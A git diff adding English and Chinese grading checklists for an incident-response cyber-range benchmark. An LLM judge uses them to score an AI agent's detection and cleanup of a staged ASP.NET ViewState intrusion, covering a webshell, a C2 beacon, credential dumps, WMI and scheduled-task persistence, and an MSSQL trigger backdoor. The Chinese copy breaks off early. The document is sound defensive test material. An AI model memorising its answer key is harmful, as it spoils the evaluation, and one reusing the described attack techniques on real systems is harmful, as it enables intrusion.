diff --git a/ranges/aspnet-viewstate/checklist.en.md b/ranges/aspnet-viewstate/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..19cd5f76d7db19f46433fe22e4eab322136fe617 --- /dev/null +++ b/ranges/aspnet-viewstate/checklist.en.md @@ -0,0 +1,371 @@ +# range-aspnet-viewstate Checklist + +## Scoring dimensions + +Each atomic CHK has three dimensions: + +- **Detection score** (max 3 pts): Discovery (1) + Evidence (1) + Attribution (1) — judges the detection Agent's report, LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness (1) + Completeness (1) — judges the remediation recommendations in the tested agent's output, LLM-as-a-Judge +- **detection-only**: Plan score marked N/A, not counted in the aggregate + +### Cross-CHK common addendum (plan completeness) + +To avoid "business impact" becoming a duplicate scoring item in a separate CHK, all hardening-type CHKs involving critical services (IIS / SQL Express / DefaultAppPool) **include by default** in the minimum requirement of their "plan completeness" sub-item: +> The plan must include status/syntax validation of the service changed in this operation (e.g. `iisreset /status`, `sqlcmd -Q "SELECT @@VERSION"`), and note possible side effects on other services. + +If the plan lacks this item, the corresponding CHK's "completeness" scores 0. + +--- + +## Atomic CHK list + +### Dimension 1: Intrusion entity identification and disposal + +#### CHK-01: Webshell help.aspx detection/removal — `help.aspx` `ENT-F01` + +- **Evidence**: `C:\inetpub\wwwroot\CRM\help.aspx` exists (one-liner ASPX Webshell, can directly execute arbitrary code under w3wp.exe) +- **Detection score** (3 pts) + - Discovery: Identifies an unexpected `help.aspx` file under the CRM site directory + - Evidence: References the file path `C:\inetpub\wwwroot\CRM\help.aspx`; analyzes the file content as an ASPX Webshell (containing characteristic keywords such as `Request`/`Response`/`Eval`); or enumerates the CRM directory via `target-query -f filesystem` to find the anomalous file + - Attribution: Associates the Webshell with the attacker's persistent access channel after landing via ViewState RCE; notes that w3wp.exe running under LocalSystem privileges can directly execute system-level commands +- **Plan score** (2 pts) + - Correctness: The plan provides the deletion command `Remove-Item -Force "C:\inetpub\wwwroot\CRM\help.aspx"` + - Completeness: The plan includes post-deletion IIS log auditing (checking historical records of access to help.aspx) + scanning the site directory for other anomalous `.aspx` files (`Get-ChildItem -Recurse -Filter *.aspx | Get-FileHash` compared against the expected inventory) + verifying the file no longer exists + +--- + +#### CHK-02: Beacon binary removal — `WindowsAuditSvc.exe` `ENT-F06` + +- **Evidence**: `C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` exists (a C2 Beacon binary landed by the attacker, disguised as a Windows audit service; the same directory contains `last-beacon.log` recording C2 callback attempts) +- **Detection score** (3 pts) + - Discovery: Identifies `C:\ProgramData\WindowsAudit\WindowsAuditSvc.exe` and the log file in the same directory + - Evidence: References the file path; discovers the `C:\ProgramData\WindowsAudit\` directory and its contents (`WindowsAuditSvc.exe` + `last-beacon.log`) via `target-query -f filesystem`; references the callback records in `last-beacon.log` containing the C2 domain `malicious-update.example.cn`; combined with the SAS alert (`MaliciousProcess`) determines the binary to be a Beacon + - Attribution: Associates with C2 communication (`malicious-update.example.cn:8443`); disguising as a "WindowsAudit" service name is a common APT masquerading technique (naming close to system audit tools to lower suspicion) +- **Plan score** (2 pts) + - Correctness: The plan stops the process first then deletes the file: `Stop-Process -Name WindowsAuditSvc -Force -ErrorAction SilentlyContinue`; then `Remove-Item -Recurse -Force "C:\ProgramData\WindowsAudit\"` + - Completeness: The plan includes scanning other common C2 landing locations (`C:\ProgramData\`, `C:\Windows\Temp\`, `C:\Users\Public\`) + checking for service registration (`Get-Service | Where-Object { $_.PathName -like '*WindowsAudit*' }`) + confirming the directory has been removed + +--- + +#### CHK-03: Beacon process termination — `WindowsAuditSvc.exe` `ENT-P02` `ENT-P03` + +- **Evidence**: The SAS alert records that `WindowsAuditSvc.exe` once ran as a process and attempted to connect out to C2 (`malicious-update.example.cn:8443`); `last-beacon.log` contains callback records; the process may no longer be running due to a reboot at forensics time, but the binary is still on disk and there is a risk of restart (schtasks / WMI persistence can relaunch it) +- **Detection score** (3 pts) + - Discovery: Identifies that `WindowsAuditSvc.exe` once ran or is still running + - Evidence: References the SAS alert (`MaliciousProcess` type) and the C2 callback records in `last-beacon.log`; if the process is still active, references the PID and network connections; performs forensics via `target-query -f processes` or confirms prior execution through offline analysis of Prefetch files + - Attribution: Associates the process with the C2 Beacon; explains that the process can be periodically relaunched in concert with schtasks/WMI persistence mechanisms +- **Plan score** (2 pts) + - Correctness: `Stop-Process -Name WindowsAuditSvc -Force` (or `taskkill /F /IM WindowsAuditSvc.exe`) + - Completeness: The plan includes a sequence explanation of blocking the outbound connection first (CHK-07 firewall rule) before killing the process + verifying the process no longer exists + checking for a parent process or watchdog mechanism that restarts it + +--- + +#### CHK-04: mimikatz residue removal — `mimikatz.exe` `ENT-F06` +- **Evidence**: `C:\Windows\Temp\mimikatz.exe` (residue of the credential-theft tool landed by the attacker) +- **Detection score** (3 pts) + - Discovery: Identifies `C:\Windows\Temp\mimikatz.exe` + - Evidence: References the file path; the filename `mimikatz.exe` is a known credential-theft tool signature name; found by enumerating `C:\Windows\Temp\` via `target-query -f filesystem` + - Attribution: Associates mimikatz.exe with the attacker's credential-theft behavior before lateral movement; combined with `lsass.dmp` and `creds.txt` (CHK-05) forms a complete credential-theft chain +- **Plan score** (2 pts) + - Correctness: `Remove-Item -Force "C:\Windows\Temp\mimikatz.exe"` + - Completeness: The plan includes scanning the entire disk for mimikatz copies (`Get-ChildItem -Recurse -Filter mimikatz* -ErrorAction SilentlyContinue`) + concurrently handling the associated residue of CHK-05 (procdump / lsass.dmp / creds.txt) + +--- + +#### CHK-05: Credential-dump residue (lsass) — `procdump.exe + lsass.dmp + creds.txt` `ENT-F04` + +- **Evidence**: `C:\Windows\Temp\procdump.exe` (the LSASS dump tool landed by the attacker), `C:\Windows\Temp\lsass.dmp` (~30MB, LSASS memory dump, file header `MDMP`), `C:\Windows\Temp\creds.txt` (plaintext passwords parsed by mimikatz) +- **Detection score** (3 pts) + - Discovery: Identifies that all three of the above files exist + - Evidence: References each file path; `lsass.dmp` is identified as an LSASS process memory dump by the file header `MDMP` or file size; `creds.txt` contains plaintext passwords (must warn that the content is highly sensitive); found by enumerating `C:\Windows\Temp\` via `target-query -f filesystem` + - Attribution: Combines the three to reconstruct the credential-theft attack chain (procdump dumps lsass → mimikatz parses → creds.txt stores); explains that the attacker can use the plaintext credentials for lateral movement +- **Plan score** (2 pts) + - Correctness: Batch deletion: `Remove-Item -Force "C:\Windows\Temp\procdump.exe","C:\Windows\Temp\lsass.dmp","C:\Windows\Temp\creds.txt"` + - Completeness: The plan includes forensic preservation before deletion (at minimum preserving the content of creds.txt to determine the scope of credentials to rotate) + scanning other Temp/Public directories for copies + verifying all three files no longer exist after deletion + noting that all passwords appearing in creds.txt must be rotated immediately (cascading to CHK-21/CHK-22) + +--- + +#### CHK-06: Attacker-IP inbound block — `8.217.135.152` `ENT-N01` + +- **Evidence**: Attacker source IP `8.217.135.152` (visible in IIS access logs / firewall logs, the source of the initial HTTP GET `/CRM/web.config.bak` and POST `/CRM/Login.aspx`) +- **Detection score** (3 pts) + - Discovery: Recommends blocking the attacker IP `8.217.135.152` + - Evidence: References that IP's access records in the IIS logs (`C:\inetpub\logs\LogFiles\W3SVC1\`); identifies GET `/CRM/web.config.bak` returning 200 and the POST `/CRM/Login.aspx` ViewState payload request + - Attribution: Determines the IP to be the source of the attacker's intrusion; associates it with the subsequent C2 domain `malicious-update.example.cn` resolving to the same IP +- **Plan score** (2 pts) + - Correctness: Windows firewall all-protocol block: `New-NetFirewallRule -DisplayName "Block_AttackerIP" -Direction Inbound -RemoteAddress 8.217.135.152 -Action Block` + - Completeness: Includes blocking the Outbound direction as well (`-Direction Outbound`) + verifying the rule takes effect (`Get-NetFirewallRule -DisplayName "Block_AttackerIP"`) + rule persistence is persistent by default (Windows firewall rules survive reboots) + noting that any security group/cloud firewall should be configured in sync + +--- + +#### CHK-07: C2 outbound block — C2 endpoint `ENT-N02` `ENT-N03` + +- **Evidence**: C2 endpoint `malicious-update.example.cn` → `8.217.135.152:8443` (Beacon heartbeat target) +- **Detection score** (3 pts) + - Discovery: Identifies the C2 domain `malicious-update.example.cn` and IP `8.217.135.152` that need outbound blocking + - Evidence: References the C2 address in the Beacon configuration (by decompiling `WindowsAuditSvc.exe` or the C2 communication records in the SAS alert); references the port `8443` (HTTPS over a non-standard port, a signature of bypassing simple firewall policies) + - Attribution: Explains that the domain/IP combination is the Beacon's sole callback exit; even if the Beacon process is terminated, blocking outbound prevents redeployment +- **Plan score** (2 pts) + - Correctness: Double blocking: outbound IP rule `New-NetFirewallRule -DisplayName "Block_C2_IP_Out" -Direction Outbound -RemoteAddress 8.217.135.152 -Action Block`; outbound port rule `New-NetFirewallRule -DisplayName "Block_C2_8443_Out" -Direction Outbound -Protocol TCP -RemotePort 8443 -Action Block`; DNS-layer blocking (modifying the hosts file `Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 malicious-update.example.cn"`) + - Completeness: Includes an explanation of three-layer blocking (IP + port + DNS) + verifying each rule takes effect + explaining the limitation of the hosts-file modification for non-DNS-resolution paths (hardcoded-IP scenarios) + +--- + +#### CHK-08: version.dll hijack file — `version.dll` `ENT-F06` `PER-H02` + +- **Evidence**: `C:\Program Files\Notepad++\version.dll` (the DLL search-order hijack carrier planted by the attacker; a copy of the system `version.dll`, the signature is still valid but it appears in an unexpected location, and its creation time matches the attack window) +- **Detection score** (3 pts) + - Discovery: Identifies that `C:\Program Files\Notepad++\version.dll` exists and does not belong to a normal Notepad++ installation + - Evidence: Discovers the unexpected DLL by enumerating the Notepad++ directory via `target-query -f filesystem`; the DLL has the same hash as `C:\Windows\System32\version.dll` (the attacker copies the system DLL as a carrier; in a real scenario it would be replaced with a forwarding DLL containing a malicious DllMain); the file creation time falls within the attack window + - Attribution: Identifies the DLL search-order hijack technique (T1574.001 — on Notepad++ startup, the version.dll in its own directory is loaded preferentially); explains that this technique is common in APTs, triggering on every Notepad++ startup once planted +- **Plan score** (2 pts) + - Correctness: `Remove-Item -Force "C:\Program Files\Notepad++\version.dll"` + - Completeness: The plan includes post-deletion verification that no residual unexpected DLL remains in the Notepad++ directory + scanning other application directories (`Program Files\`, `Program Files (x86)\`) for similar plants + +--- + +### Dimension 2: Persistence cleanup + +#### CHK-09: schtasks task location — `AuditTask` `PER-S04` + +- **Evidence**: The scheduled task `\Microsoft\Windows\Maintenance\AuditTask` exists (XML file `C:\Windows\System32\Tasks\Microsoft\Windows\Maintenance\AuditTask`, Trigger daily at 10:23, Author: SYSTEM) +- **Detection score** (3 pts) + - Discovery: Identifies the suspicious scheduled task `\Microsoft\Windows\Maintenance\AuditTask` + - Evidence: Enumerates scheduled tasks via `target-query -f tasks` to obtain the complete XML; references key Task fields: `SYSTEM`, Trigger (daily at 10:23), Action (`powershell.exe -ep bypass -enc `); or on a live system uses `Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"` + - Attribution: Determines the Task to be a persistence mechanism; notes that the path `\Microsoft\Windows\Maintenance\` is a system-task masquerading path commonly used by attackers; the SYSTEM identity + `-ep bypass -enc` parameter combination is a strong malicious signal +- **Plan score** (2 pts) + - Correctness: The plan directs to CHK-10 to decode and confirm the payload content first, then delete via CHK-11; the standalone location step only needs to confirm the task exists + - Completeness: The plan recommends enumerating all scheduled tasks with non-standard paths (`Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\Windows\*" -or $_.Principal.UserId -eq "SYSTEM" }`) to cover similar plants + +--- + +#### CHK-10: schtasks payload decoding `PER-S04` + +- **Evidence**: The base64 in `powershell.exe -ep bypass -enc ` within the AuditTask Action decodes to a download command that pulls stage3 +- **Detection score** (3 pts) + - Discovery: Identifies the base64-encoded payload in the Action and performs decoding analysis + - Evidence: References the base64 string (extracted from the `` field of the Task XML); provides the decoding result (the PowerShell command decoded by `[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(""))`); the decoding result shows a download-execute command (in a form such as IEX (New-Object Net.WebClient).DownloadString) + - Attribution: Associates the encoded payload with the stage3 C2 pull behavior; notes that `-ep bypass` bypassing the execution policy is a hallmark technique of malicious PowerShell +- **Plan score** (2 pts) + - Correctness: The decoding analysis itself is the core of the plan; directs to CHK-11 to delete the task + - Completeness: The plan recommends reporting the decoding result to the SOC (including URL, C2 address, and other IOCs); confirms the decoding process uses UTF-16LE decoding (PowerShell `-enc` defaults to UTF-16LE) + +--- + +#### CHK-11: schtasks deletion `PER-S04` + +- **Evidence**: AuditTask has been located (CHK-09), the payload has been decoded (CHK-10); this item is the actual deletion +- **Detection score** (3 pts) + - Discovery: Confirms the task still exists before performing the deletion + - Evidence: `Get-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask"` returns a valid object + - Attribution: (continues the CHK-09 attribution; this item focuses on execution) +- **Plan score** (2 pts) + - Correctness: `Unregister-ScheduledTask -TaskPath "\Microsoft\Windows\Maintenance\" -TaskName "AuditTask" -Confirm:$false` + - Completeness: Includes post-deletion verification (the task no longer appears) + noting to back up the XML file to the forensic archive before deletion + scanning for other tasks with the same payload hash (guarding against backup persistence) + +--- + +#### CHK-12: WMI subscription location — `AuditMonitor` / `AuditAction` `PER-E02` + +- **Evidence**: The WMI `root\subscription` namespace contains: an `__EventFilter` named `AuditMonitor` (triggered by `Win32_LocalTime Hour=10 AND Minute=23`), an `ActiveScriptEventConsumer` named `AuditAction` (ScriptText contains VBScript that appends a timestamp to a log file), and a `__FilterToConsumerBinding` binding the two +- **Detection score** (3 pts) + - Discovery: Identifies all 3 constituent objects of the WMI permanent event subscription + - Evidence: Offline-parses `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` on the block device via python-cim: + ```python + from cim import CIM + c = CIM('/mnt/.../Repository') + for obj in c.query("SELECT * FROM __FilterToConsumerBinding"): + print(obj) + ``` + or on a live system uses `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`; references Filter.Name = `AuditMonitor`, Consumer.Name = `AuditAction` + - Attribution: WMI permanent subscription is a fileless persistence technique commonly used by Windows APTs; the `Win32_LocalTime` time-condition trigger is extremely rare in legitimate management tools and is a high-confidence malicious signal +- **Plan score** (2 pts) + - Correctness: The plan explicitly states that 3 objects (Filter + Consumer + Binding) must be deleted; directs to CHK-14 + - Completeness: The plan recommends enumerating all non-system WMI subscriptions (`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding`) to confirm no other malicious subscriptions + +--- + +#### CHK-13: WMI ScriptText analysis `PER-E02` + +- **Evidence**: The `ScriptText` field of `ActiveScriptEventConsumer "AuditAction"` contains VBScript code (appending a timestamp to `C:\ProgramData\WindowsAudit\wmi-fired.log` — forming dual-path persistence together with the schtasks AuditTask, functionally equivalent but implemented in a different language) +- **Detection score** (3 pts) + - Discovery: Identifies that the ScriptText field contains an executable payload + - Evidence: Extracts the `ScriptText` field from the `AuditAction` Consumer object; analyzes the VBScript content — `CreateObject("Scripting.FileSystemObject")` writes a log to the `WindowsAudit` directory (the same as the Beacon landing directory) + - Attribution: Compares with the schtasks payload of CHK-10, noting that the attacker deployed dual-path persistence (schtasks + WMI), both writing to the same `WindowsAudit` directory, indicating that the defense must clear both paths simultaneously +- **Plan score** (2 pts) + - Correctness: Analyzes the VBScript content, confirming that the log path is consistent with the C2 infrastructure directory + - Completeness: Associates the file path in the VBScript with the CHK-02 Beacon directory `C:\ProgramData\WindowsAudit\` + +--- + +#### CHK-14: WMI objects full cleanup `PER-E02` + +- **Evidence**: The Filter `AuditMonitor`, Consumer `AuditAction`, and Binding under WMI `root\subscription` have been located (CHK-12) and all need to be deleted +- **Detection score** (3 pts) + - Discovery: Confirms all 3 objects exist before deletion (guarding against false negatives and incomplete removal) + - Evidence: `Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like '*AuditMonitor*' }` returns non-empty + - Attribution: (continues the CHK-12 attribution) +- **Plan score** (2 pts) + - Correctness: Deletes the 3 objects in order (delete the Binding first, then the Filter and Consumer, to prevent orphaned objects from triggering): + ```powershell + Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | + Where-Object { $_.Filter -like '*AuditMonitor*' } | Remove-WmiObject + Get-WmiObject -Namespace root\subscription -Class __EventFilter | + Where-Object Name -eq 'AuditMonitor' | Remove-WmiObject + Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | + Where-Object Name -eq 'AuditAction' | Remove-WmiObject + ``` + - Completeness: Includes post-deletion verification (all three Get-WmiObject return empty) + noting that the `winmgmt` service may need to be restarted to clear the in-memory cache + recommending manual review with the `WMI Explorer` tool + +--- + +#### CHK-15: DLL-hijack detection `PER-H02` + +- **Evidence**: `C:\Program Files\Notepad++\version.dll` does not belong to a normal Notepad++ installation; the DLL has the same hash as `C:\Windows\System32\version.dll` (the attacker copied the system DLL as a carrier), and its creation time matches the attack window +- **Detection score** (3 pts) + - Discovery: Identifies an unexpected `version.dll` under the Notepad++ directory + - Evidence: Discovers the DLL by enumerating the Notepad++ directory via `target-query -f filesystem`; note that the DLL has the same hash as the same-named DLL in System32 — the attacker uses a system DLL copy as a placeholder in this range (in a real APT scenario it would be replaced with a forwarding DLL containing a malicious DllMain); the file metadata (creation/modification time) falls within the attack time window + - Attribution: DLL search-order hijack (T1574.001 side-loading) — in the Windows DLL search order, the application's own directory takes precedence over System32, so on Notepad++ startup the version.dll in its own directory is loaded preferentially +- **Plan score** (2 pts) + - Correctness: Delete `C:\Program Files\Notepad++\version.dll` (directs to the CHK-08 execution layer) + - Completeness: The plan includes scanning other application directories (`Program Files\`, `Program Files (x86)\`) for similar unexpected DLL plants + +--- + +#### CHK-16: MSSQL trigger/xp_cmdshell detection `PER-D02` + +- **Evidence**: The `master` database contains a Server-level Logon Trigger `tr_audit_logon` (`ON ALL SERVER FOR LOGON`, with `EXEC xp_cmdshell 'cmd.exe /c echo ...'` in its body), and `xp_cmdshell` is enabled. On SQL Express this Trigger causes **all SQL logins (including sa and Windows authentication) to fail** — the runtime error of xp_cmdshell propagates into the LOGON event context, causing the login transaction to roll back. + + > **Critical**: This Trigger is INTENTIONALLY BROKEN — the attacker-planted Logon Trigger produces a runtime error when triggering xp_cmdshell on SQL Express, causing **all** subsequent SQL connections (including sa mixed authentication and Windows integrated authentication) to fail. The SQL Error Log records `"Logon failed for login 'X' due to trigger execution"`. The detection Agent should be able to identify this anomalous pattern from the ERRORLOG. +- **Detection score** (3 pts) + - Discovery: Identifies the MSSQL Logon Trigger `tr_audit_logon` and the xp_cmdshell enabled configuration + - Evidence: Discovers the `"Logon failed for login ... due to trigger execution"` error entries via the SQL Error Log (`C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Log\ERRORLOG`) (all connection attempts leave this record); or via offline inspection of `master.mdf`; references the `xp_cmdshell` call in the Trigger definition + - Attribution: The MSSQL Logon Trigger is a database-level persistence technique unique to SQL Server (SQL Express has no SQL Agent, so a Logon Trigger is a reachable equivalent substitute); enabling xp_cmdshell grants the database engine OS-command-execution capability; even though the Trigger is broken, its existence itself indicates that the attacker has sysadmin privileges +- **Plan score** (2 pts) + - Correctness: The plan explicitly states: since the Trigger causes all SQL logins to fail, SQL Express must be started in **single-user mode** (`sqlservr.exe -m -s SQLEXPRESS`), which skips Logon Trigger execution; or bypass it using DAC (Dedicated Admin Connection) + - Completeness: The plan includes reviewing the current status of xp_cmdshell + warning that all SQL connection methods (sa/Windows auth) are affected + directing to CHK-17 to perform the deletion + +--- + +#### CHK-17: MSSQL backdoor cleanup `PER-D02` + +- **Evidence**: The MSSQL Logon Trigger `tr_audit_logon` has been located (CHK-16) and needs to be deleted with xp_cmdshell disabled +- **Detection score** (3 pts) + - Discovery: Confirms the Trigger still exists and xp_cmdshell is enabled before deletion + - Evidence: After successfully connecting in single-user mode: `SELECT name FROM sys.server_triggers WHERE name = 'tr_audit_logon'` returns 1 row; the `run_value` of `EXEC sp_configure 'xp_cmdshell'` is 1 + - Attribution: (continues the CHK-16 attribution; this item focuses on execution) +- **Plan score** (2 pts) + - Correctness: The Logon Trigger must be bypassed (because the Trigger causes **all** SQL logins to fail). Equivalent correct paths: + - **Path A (single-user mode)**: `net stop MSSQL$SQLEXPRESS` → `sqlservr.exe -m -s SQLEXPRESS` → `sqlcmd -S .\SQLEXPRESS -E` to connect → `DROP TRIGGER tr_audit_logon ON ALL SERVER; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;` → restore normal service + - **Path B (DAC)**: Connect via the Dedicated Admin Connection using `sqlcmd -S admin:.\SQLEXPRESS -E` (DAC does not trigger the Logon Trigger) → same DROP commands as above + - Both paths are acceptable; the plan must explain why a direct connection is not possible (the Trigger blocks all logins) + - Completeness: Includes verifying the Trigger does not exist after restoring normal mode + xp_cmdshell is disabled + CRM application connection-string verification (accessing the page to confirm CRM is still available) + ```sql + -- Execute in sqlcmd: + SELECT COUNT(*) FROM sys.server_triggers WHERE name = 'tr_audit_logon'; + -- Expect a return of 0 + EXEC sp_configure 'xp_cmdshell'; + -- Expect run_value = 0 + ``` + +--- + +### Dimension 3: Vulnerability remediation + +#### CHK-18: ViewState root cause + MachineKey `VUL-02` + +- **Evidence**: The hardcoded `` in `web.config` allows the attacker to craft a validly signed malicious ViewState payload with ysoserial.net; the hardcoded MachineKey is the root cause +- **Detection score** (3 pts) + - Discovery: Identifies that the root cause of the ASP.NET ViewState deserialization vulnerability is the leak of the hardcoded MachineKey + - Evidence: References the `validationKey` and `decryptionKey` values of the `` node in `web.config`; explains that after the attacker obtains these two keys by downloading `web.config.bak` (CHK-19), they can craft arbitrary valid ViewState payloads with ysoserial.net; combined with the POST `/CRM/Login.aspx` request in the IIS logs + - Attribution: Characterizes the hardcoded MachineKey as a vulnerability (rather than a mere misconfiguration) — ASP.NET's ViewState integrity depends on the MachineKey, and a key leak is equivalent to satisfying the exploitation condition for deserialization RCE; together with the `web.config.bak` misconfiguration (CHK-19) and AppPool LocalSystem (CHK-20) forms a three-in-one entry point +- **Plan score** (2 pts) + - Correctness: Rotate the MachineKey: generate a new random `validationKey` (64-byte hex) and `decryptionKey` (32-byte hex); update the `` node in `web.config`; `iisreset /restart` to apply the config (directs to the CHK-22 execution layer) + - Completeness: Includes tightening the ViewState configuration: enable `enableViewStateMac="true"` and `ViewStateEncryptionMode="Always"` on the `` node; note that all existing session tokens become invalid after rotation (users must log in again; business impact is low but must be communicated); references the deletion of `web.config.bak` (CHK-19) to ensure the leaked MachineKey can no longer be downloaded + +--- + +#### CHK-19: web.config.bak + IIS fix `BAS-06` + +- **Evidence**: `C:\inetpub\wwwroot\CRM\web.config.bak` can be downloaded directly via HTTP (IIS `` does not restrict the `.bak` extension); the file content is the same as `web.config`, containing the hardcoded MachineKey and database connection string +- **Detection score** (3 pts) + - Discovery: Identifies that the public exposure of `web.config.bak` is a vulnerability entry point + - Evidence: References the file path `C:\inetpub\wwwroot\CRM\web.config.bak`; confirms the file exists via `target-query -f filesystem`; confirms via the IIS logs that the attacker's `GET /CRM/web.config.bak HTTP/1.1` returned 200; identifies that the `` node of the IIS `web.config` has no MIME restriction or request filtering for `.bak` + - Attribution: Characterizes the `.bak` file exposure as one of the root causes of the misconfiguration vulnerability (not a code vulnerability but an operational risk); leaving operational backup files in the Web root is a high-frequency real-world incident pattern +- **Plan score** (2 pts) + - Correctness: + 1. Delete the file: `Remove-Item -Force "C:\inetpub\wwwroot\CRM\web.config.bak"` + 2. IIS request filtering to deny `.bak`: add to `` in `C:\inetpub\wwwroot\CRM\web.config`: + ```xml + + + + ``` + - Completeness: Includes a site-wide scan for other backup files such as `.bak`/`.old`/`.tmp` (`Get-ChildItem -Recurse -Include *.bak,*.old,*.tmp -Path C:\inetpub\`) + `iisreset /restart` to apply the config + verifying that HTTP access to `/CRM/web.config.bak` returns 403/404 + +--- + +### Dimension 4: Baseline hardening + +#### CHK-20: CRM AppPool identity reset `BAS-06` + +- **Evidence**: The CRM application runs in `DefaultAppPool`, whose `processModel.identityType` is currently `LocalSystem` (the attacker leverages this configuration to directly gain SYSTEM privileges via w3wp.exe RCE); it should be changed to the least-privilege `ApplicationPoolIdentity` +- **Detection score** (3 pts) + - Discovery: Identifies that the CRM AppPool using the LocalSystem identity is a high-risk misconfiguration + - Evidence: Discovers the value is `LocalSystem` via `Import-Module WebAdministration; (Get-ItemProperty "IIS:\AppPools\DefaultAppPool").processModel.identityType`; or obtains equivalent evidence by reading `C:\Windows\System32\inetsrv\config\applicationHost.config` via `target-query -f filesystem`; references that this configuration is a violation of the IIS security baseline + - Attribution: Characterizes the AppPool LocalSystem misconfiguration as the root cause of the intrusion's "direct privilege escalation" — the w3wp.exe code execution triggered by the attacker via ViewState RCE runs with SYSTEM privileges, requiring no additional escalation step; the standard security baseline requires the AppPool to use `ApplicationPoolIdentity` (a separate low-privilege account) +- **Plan score** (2 pts) + - Correctness: The plan provides the correct operation to modify the AppPool identity — change the `identityType` of the CRM AppPool to `ApplicationPoolIdentity`, then `iisreset /restart`. A plan to create a separate AppPool for CRM and migrate to it is acceptable + - Completeness: Includes post-change verification that the CRM application is accessible normally (business regression) + checking whether the CRM application depends on LocalSystem privileges to access specific resources (such as file-system paths, registry keys), and if so, separately authorizing the AppPool account + scanning other AppPools for the same misconfiguration + +--- + +#### CHK-21: SQL sa password rotation `BAS-02` `BAS-03` + +- **Evidence**: The SQL Express `sa` account password is `SpikeWin2019!` (already leaked in plaintext via `creds.txt`); the `sa` account is enabled (login mode is SQL mixed authentication); the `web.config` connection string uses the `sa` account +- **Detection score** (3 pts) + - Discovery: Identifies the sa weak password and that SQL mixed authentication is enabled + - Evidence: References that the connection string in `web.config` contains the `sa` account and the password `SpikeWin2019!` (hardcoded in plaintext); confirms SQL Express runs in mixed authentication mode (`target-query -f registry` looking up `HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQLServer\LoginMode` with value 2); or infers from the Administrator password leak in `creds.txt` (CHK-05) that the sa password faces the same leak risk + - Attribution: The sa password is hardcoded in web.config (and can be downloaded via the `.bak` file), and the attacker already has sysadmin privileges (corroborated by the CHK-16 Trigger plant); not rotating it is equivalent to leaving a persistent backdoor +- **Plan score** (2 pts) + - Correctness: + 1. Generate a strong password: `$newpass = -join ((65..90)+(97..122)+(48..57)+('!','@','#','$') | Get-Random -Count 20 | ForEach-Object {[char]$_})` + 2. Rotate the sa password: `sqlcmd -S .\SQLEXPRESS -E -Q "ALTER LOGIN sa WITH PASSWORD='$newpass'"` + 3. Update the `web.config` connection string (replace `Password=SpikeWin2019!` with the new password) + 4. Restart the CRM AppPool (`Restart-WebAppPool DefaultAppPool` or the separate pool) + - Completeness: Includes business regression verification (CRM can connect to the database normally) + noting that the new password should be stored securely (a password manager) rather than left in PS history + considering whether the sa account should be disabled (creating a dedicated low-privilege CRM DB account as a replacement) + +--- + +#### CHK-22: MachineKey rotation + AppPool restart `BAS-03` + +- **Evidence**: The current value of `` in `web.config` has been obtained by the attacker (downloaded via `web.config.bak`); these keys are the necessary condition for crafting a malicious ViewState; they must be rotated to new random keys +- **Detection score** (3 pts) + - Discovery: Confirms the MachineKey in web.config needs to be rotated (the current value has leaked) + - Evidence: Reads the current validationKey/decryptionKey via `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config" -Pattern "machineKey"`; via `Select-String -Path "C:\inetpub\wwwroot\CRM\web.config.bak" -Pattern "machineKey"` (if the .bak has not yet been deleted) confirms the two are identical (i.e. the .bak exposes exactly the keys currently in use); associates this finding with the vulnerability root-cause analysis of CHK-18 + - Attribution: (continues the CHK-18 attribution; this item focuses on the execution layer) Not rotating the MachineKey means old ViewState payloads remain valid, and the attacker can still attack again with the cached keys +- **Plan score** (2 pts) + - Correctness: + 1. Generate a new MachineKey: + ```powershell + $validationKey = -join ((1..64) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) }) + $decryptionKey = -join ((1..32) | ForEach-Object { '{0:X2}' -f (Get-Random -Max 256) }) + ``` + 2. Update the `` node in `web.config` (replacing both validationKey and decryptionKey) + 3. Restart the CRM AppPool (`Restart-WebAppPool DefaultAppPool` or the separate pool) to apply the new MachineKey + - Completeness: Includes business regression verification (CRM login works normally; old session tokens become invalid, users must log in again, which is expected behavior) + confirming that `web.config.bak` has been deleted (CHK-19) to avoid confusion between old and new MachineKeys + noting that if there is a load-balanced multi-instance setup, the `web.config` of all instances must be updated in sync with the same MachineKey (otherwise cross-instance session validation fails) + +## scores.json output schema + +```json +{ + "checkpoints": [ + { + "chk_id": "CHK-01", + "name": "Webshell help.aspx detection/removal", + "detection": {"discovery": 1, "evidence": 1, "attribution": 1, "total": 3, "max": 3, "rationale": "..."}, + "plan": {"correctness": 1, "completeness": 1, "total": 2, "max": 2, "rationale": "..."} + } + ] +} +``` diff --git a/ranges/aspnet-viewstate/checklist.md b/ranges/aspnet-viewstate/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..903661e22a4dfe8241ae657b3915162e0592bb83 --- /dev/null +++ b/ranges/aspnet-viewstate/checklist.md @@ -0,0 +1,371 @@ +# range-aspnet-viewstate 检查清单 + +## 评分维度 + +每个原子 CHK 三维: + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 报告,LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判被测 agent 输出中的修复建议,LLM-as-a-Judge +- **仅检测项**:方案分标 N/A,不参与汇总 + +### 跨 CHK 通用补充(方案完整性) + +为避免"业务影响"成为单独 CHK 的重复打分项,所有涉及关键服务(IIS / SQL Express / DefaultAppPool)的加固类 CHK,其"方案完整性"子项的最低要求里**默认包含**: +> 